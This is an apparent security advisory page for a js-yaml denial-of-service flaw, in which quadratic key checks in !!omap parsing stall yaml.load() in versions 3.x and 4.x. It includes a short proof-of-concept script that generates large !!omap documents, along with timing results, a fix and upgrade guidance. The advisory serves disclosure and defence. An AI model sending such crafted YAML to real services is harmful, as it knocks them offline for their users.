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JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backportedGHSA-5p4m-2wfm-xmqj

HIGH

GHSA-5p4m-2wfm-xmqj is a high-severity (CVSS 7.5) vulnerability in js-yaml. A fix is available for js-yaml — see the affected versions and patch details below.

Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 10, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

30Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
js-yamlnpm
391.7Mdownloads / week

Description

Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution O(n²) in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside yaml.load(), giving a denial of service against any consumer that parses untrusted YAML.

!!omap is registered in the default schema (lib/schema/default.js → require('../type/omap')), so a plain yaml.load(untrustedInput) with no options is affected — no custom schema or non-default configuration is required.

This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.

Affected versions

LineLatest testedStatus
3.x3.15.0Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29
4.x4.3.0Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30
5.x5.2.2Not affected — fixed in 5.2.1 (uses a Set)

Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.

Details

lib/type/omap.js (js-yaml 4.3.0):

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

objectKeys grows by one element per entry, and Array.prototype.indexOf is a linear scan, so resolving an n-entry !!omap performs roughly 1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously inside yaml.load(), blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a Set (src/tag/sequence/omap.ts):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

Proof of concept

// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}

Measured (node v20.20.2, default heap, no flags)

js-yaml 4.3.0

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

js-yaml 3.15.0

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

Runtime grows by a factor of ~4 for each doubling of n, which is the signature of O(n²) (linear growth would be ~2×).

Scaling further: a 2.48 MB document with 150,000 entries blocked yaml.load() for 10.8 seconds.

Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.

Suggested fix

Mirror the 5.x fix — replace the linear scan with a Set:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A maxOmapLength-style cap would also work, but the Set matches what 5.x already ships and requires no new option.

References

  • CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
  • lib/type/omap.js (3.x, 4.x) — the affected resolver
  • lib/schema/default.js — registers !!omap in the default schema

Discovery

Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the current releases of each line, not on the version originally scanned.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmjs-yaml≥ 4.0.0&&< 4.3.14.3.1npm install js-yaml@4.3.1
📦npmjs-yaml≥ 3.0.0&&< 3.15.13.15.1npm install js-yaml@3.15.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for js-yaml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update js-yaml to 4.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5p4m-2wfm-xmqj is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x) ## Summary `resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML. `!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with
O3 Security · Impact-Aware SCA

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